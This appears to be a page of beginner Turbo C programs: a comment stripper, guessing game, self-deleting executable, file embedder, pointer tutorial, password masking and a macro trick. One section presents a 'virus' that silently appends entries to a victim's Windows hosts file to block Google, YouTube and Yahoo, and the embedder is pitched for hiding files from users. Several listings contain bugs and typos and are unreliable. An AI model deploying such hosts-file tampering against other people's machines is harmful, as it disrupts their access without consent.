C Program to Remove Comments and Blank lines from a valid C Program

This program accepts any valid C Program as an input and removes the comments and blanks from it. The output is a program that has no comments and blank lines.

#include<stdio.h>

#include<conio.h>

#include<process.h>

#include<dos.h>

void main()

{
FILE *a,*b;

char fname[20],ch,tch=NULL,tch1=NULL;

int flag1=0,flag=0,count=0,count1=0,count2=0;
clrscr();

printf(“Enter the file name (.C or .TXT)\n”);

gets(fname);

a=fopen(fname,”r”);

if(a==NULL)

{

puts(“Cannot open the source file!!!”);

delay(500);

exit(1);

}

b=fopen(“target.c”,”w”);

if(b==NULL)

{

puts(“Cannot create target file!!!”);

delay(500);

exit(1);

}
while(1)

{

ch=fgetc(a);

if(ch==EOF) break;
else

{
if(ch==’\n’)

{

count1=1;

tch1=ch;

continue;

}
else if(ch==’\n’&& count1==1)

continue;

else if(ch==’/'&&count==0)

{

flag1=1;

tch=ch;

count=1;

continue;

}
else if(ch==’*'&& flag1==1)

{

flag=1;

flag1=0;

tch=NULL;

}
else if(ch==’*'&&flag==1)

{

count2=1;

count=1;

continue;

}
else if(ch==’/'&&count2==1)

{

flag=0;

count=0;

tch=NULL;

continue;

}
else if(count==1&&flag==1)

count=0;
else if(flag1==1)

flag1=0;

}
if(flag!=1)

{

if(tch>0)

fputc(tch,b);

if(tch1>0)

fputc(tch1,b);

tch1=NULL;

tch=NULL;

count=0,count1=0,count2=0;

fputc(ch,b);

flag1=0,flag=0;

}
}
puts(“DONE!! OP FILE IS \”TARGET.C\”\n”);

fcloseall();

getch();

}

Guessing Game In C

This is a small guessing game written in C. In this guessing game you have to guess a number between 0 & 100. You have 8 chances to do that. Every time you guess wrongly the program will give you a hint that your guess is too high or your guess is too low. Based on this hint you have to guess the number in the remaining attempts. Here’s the code

#include<stdio.h>
#include<stdlib.h>
#include<time.h>

void main()
{
int num,guess=-1,tries=0,pass=0;
time_t t;
srand((unsigned)time(&t));
num=rand()%100;
while((guess!=num)&&tries<8)
{
printf(“Enter the guess num b/w 0 & 100 (you have %d tries left out)\n”,(8-tries)); scanf(“%d”,&guess);
tries++;
if(guess==num)
{
printf(“Hurray you guessed it correctly!!!\n”);
pass=1;
}
else if(num< guess)
printf(“Your guess is too high\n”);
else
printf(“Your guess is too low\n”);
}
if(pass==0)
printf(“Sorry you lost! The correct number is %d\n”,num);
}

A Self Destructing Program in C

This program will destroy itself upon execution. The program will cause the .exe file to be deleted upon execution. That is this program is capable of destroying itself upon execution. Here is the code

#include<stdio.h>
#include<conio.h>
#include<dos.h>
void main()
{
printf(“This program will destroy itself if u press any key!!!\n”);
getch();
remove(_argv[0]);/*array of pointers to command line arguments*/
}

HOW TO COMPILE ?

Load the source code to the compiler and compile (press Alt-F9) and then press F9. This will generate the .exe file in the current directory (Bin directory). Execute this .exe file it will destroy itself upon execution.

File Embedder Project in C

Some times it is necessary for our compiled project to have it’s supporting files embedded within the EXE module itself so that the supporting files may not be put into a seperate folder and carried along with the project. So here I am presenting you with the source code of the FILE EMBEDDER UTILITY project.

This utility can be used to embed one file with in the other. ie: Suppose we need to embed a .bat file(or any other file *.exe,*bmp,.txt…..) into our final project so that the batch file is present with in the compiled module and is hidden from the users avoiding tthe need to carry the .bat file every time with the project.

Both the Embedding and extraction process has been presented in seperate functions for your convenience. Here’s the code…..

#include<stdio.h>
#include<conio.h>
#include<fcntl.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<stdlib.h>
#include<string.h>

void embed(void);
void extract(void);

char buff[1],sname[128],tname[128],dname[128],choice;
unsigned long int size=0;long int psize=0;int outh,bytes=0;
FILE *source,*target,*data;

void main()
{
while(1)
{
clrscr();
puts(“\n\n\t\t\tFILE EMBEDDING UTILITY BY SRIKANTH\n\n\n”);
puts(“1.Embed A File 2. Extract A File 3.Exit\n”);
choice=getch();
switch(choice)
{
case ’1′:embed();
getch();
break;
case ’2′:
extract();
getch();
break;
default:
exit(0);
}
}
}

void embed()
{
puts(“\nEnter The Source Filename\n”);
scanf(“%s”,sname);
source=fopen(sname,”rb+”);
if(source==NULL)
{
puts(“\nCannot Open The Source File\n”);
return;
}
puts(“\nEnter The Target Filename\n”);
scanf(“%s”,tname);
outh=open(tname,O_RDONLYO_BINARY);
if(outh==-1)
{
puts(“\nCannot Open The Target File\n”);
return;
}
printf(“\nReading The Source File Please Wait…\n”);
while((bytes=read(outh,buff,1))>0)
size+=bytes;
data=fopen(“Data.cfg”,”w”);
if(data==NULL)
{
puts(“\nCannot Create Configuration The File\n”);
return;
}
fprintf(data,”%lu”,size);
close(outh);
fclose(data);
target=fopen(tname,”rb”);
if(target==NULL)
{
puts(“Cannot Open Target File\n”);
return;
}
printf(“\nEmbedding Please Wait…\n”);
fseek(source,0,SEEK_END);
while(fread(buff,1,1,target)>0)
fwrite(buff,1,1,source);
fcloseall();
printf(“\nEmbedding Completed Successfully\n”);
}

void extract()
{
printf(“\nEnter The Source Filename\n”);
scanf(“%s”,sname);
source=fopen(sname,”rb”);
if(source==NULL)
{
printf(“\nCannot Open The Source File\n”);
return;
}
printf(“\nEnter The Target Filename(eg: abc.exe)\n”);
scanf(“%s”,tname);
printf(“\nEnter The Configuration Filename(eg: DATA.cfg)\n”);
scanf(“%s”,dname);
data=fopen(dname,”r”);
if(data==NULL)
{
printf(“\nConfiguration File Not Found\n”);
return;
}
fscanf(data,”%ld”,&psize);
target=fopen(tname,”wb”);
if(target==NULL)
{
puts(“\nCannot Open The Target File\n”);
return;
}
printf(“\nExtracting Please Wait…\n”);
fseek(source,-psize,SEEK_END);
while((fread(buff,1,1,source))>0)
fwrite(buff,1,1,target);
printf(“\nFile Extraction Completed Successfully\n”);
fcloseall();
}

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IEor Firefox. So once blocked, the site will not appear in any of the browser program.

Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h>

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1                                google.com

5. Delete all such entries which contain the names of blocked sites.

POINTERS IN C LANGUAGE

What is pointer in c programming?

Explain pointers in c

Pointer is a user defined data type which creates special types of variables which can hold the address of primitive data type like char, int, float, double or user defined data type like function, pointer etc. or derived data type like array, structure, union, enum.

Examples:

int *ptr;

int (*ptr)();

int (*ptr)[2];

In c programming every variable keeps two type of value.

1. Contain of variable or value of variable.

2. Address of variable where it has stored in the memory.

(1) Meaning of following simple pointer declaration and definition:

int a=5;

int * ptr;

ptr=&a;

Explanation:

About variable a:

1. Name of variable : a

2. Value of variable which it keeps: 5

3. Address where it has stored in memory : 1025 (assume)

About variable ptr:

4. Name of variable : ptr

5. Value of variable which it keeps: 1025

6. Address where it has stored in memory : 5000 (assume)

Pictorial representation:

Note: A variable where it will be stored in memory is decided by operating system. We cannot guess at which location a particular variable will be stored in memory.

(2) Meaning of following pointer declaration and definition:

int a=50;

int *ptr1;

int **ptr2;

ptr1=&a;

ptr2=&pt1;

Explanation:

About variable a:

1. Name of variable : a

2. Value of variable which it keeps: 50

3. Address where it has stored in memory : 5000 (assume)

About variable ptr1:

4. Name of variable : ptr1

5. Value of variable which it keeps: 5000

6. Address where it has stored in memory : 9000 (assume)

About variable ptr2:

7. Name of variable : ptr2

8. Value of variable which it keeps: 9000

9. Address where it has stored in memory : 9555 (assume)

Pictorial representation of above pointer declaration and definition:

Note:

* is known as indirection operator which gives content of any variable.

& is known as reference operator which gives address where variable has stored in memory.

Cancellation rule of above two operators:

* and & operators always cancel to each other i.e.

*&p=p

But it is not right to write:

&*p=p

Simple example:

What will be output of following c program?

#include

int main(){

int x=25;

int *ptr=&x; //statement one

int **temp=&ptr; //statement two

printf(“%d %d %d”.x.*ptr,**temp);
return 0;

}

Output: 25 25 25

Explanation:

As we know value of variable x is 25.

*ptr= *(&x) //from statement one

=*&x

=x //using cancellation rule

=25

**temp= **(&ptr)=*(*&ptr)=*ptr=*(&x)=*&x=x=25

C PROGRAM TO CLEAR SCREEN WITH OUT USING clrscr() FUCTION

Author shahabaz:

This program is very simple and easy, you all might be thinking how could I do such thing with out using a clrscr(); function. (NOTE: Am talking for turbo c editor as well if this code does not wotrk on other edit please alter it). Lets have the code.

#include<stdio.h>

int main(){

int i,j;

   for(i=0;i<27;i++){

     printf("\n");

     for(j=0;j<80;j++)

       printf(" ");

      }

 gotoxy(1,1);

return 0;

}

Be sure with the code while editing J 

C Program To Accept Password [*appearing]

This is a simple login program in C. While accepting password it masks each character using ‘*’ symbol and display the password in the next line after the user hits Enter key. It also accepts backspaces and acts accordingly.

#include<stdio.h>
#include<conio.h>
char pw[25],ch;
int i;
void main()
{
clrscr();
puts("Enter password");
while(1)
{
if(i<0)
i=0;
ch=getch();
if(ch==13)
break; /*13 is ASCII value of ENTER*/
if(ch==8) /*ASCII value of BACKSPACE*/
{
putch('\b');
putch(NULL);
putch('\b');
-i;
continue;
}
pw[i++]=ch;
ch='*';
putch(ch);
}
pw[i]='\0';
printf("\n\n%s",pw);
getch();
}

C Program Without a Main Function

How to write a C program without a main function?. Is it possible to do that. Yes there can be a C program without a main function. Here’s the code of the program without a main function


HERE IS THE CODE

__________________________________________
#include<stdio.h>
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)

int begin()
{
printf(” hello “);
}

__________________________________________

Does the above program run without the main function? Yes, the above program runs perfectly fine even without a main function. But how, whats the logic behind it? How can we have a C program working without main?

Here we are using preprocessor directive #define with arguments to give an impression that the program runs without main. But in reality it runs with a hidden main function.

The ‘##‘ operator is called the token pasting or token merging operator. That is we can merge two or more characters with it.


NOTE: A Preprocessor is program which processess the source code before compilation.




Look at the 2nd line of program -


#define decode(s,t,u,m,p,e,d) m##s##u##t




What is the preprocessor doing here. The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m,s,u & t into msut). The logic is when you pass (s,t,u,m,p,e,d) as argument it merges the 4th,1st,3rd & the 2nd characters(tokens).


Now look at the third line of the program -


#define begin decode(a,n,i,m,a,t,e)




Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e). According to the macro definition in the previous line the argument must be expanded so that the 4th,1st,3rd & the 2nd characters must be merged. In the argument (a,n,i,m,a,t,e) 4th,1st,3rd & the 2nd characters are ‘m’,'a’,'i’ & ‘n’.

So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on for the compiler. That’s it…

The bottom line is there can never exist a C program without a main function. Here we are just playing a gimmick that makes us beleive the program runs without main function, but actually there exists a hidden main function in the program. Here we are using the proprocessor directive to intelligently replace the word begin” by “main”. In simple words int begin=int main.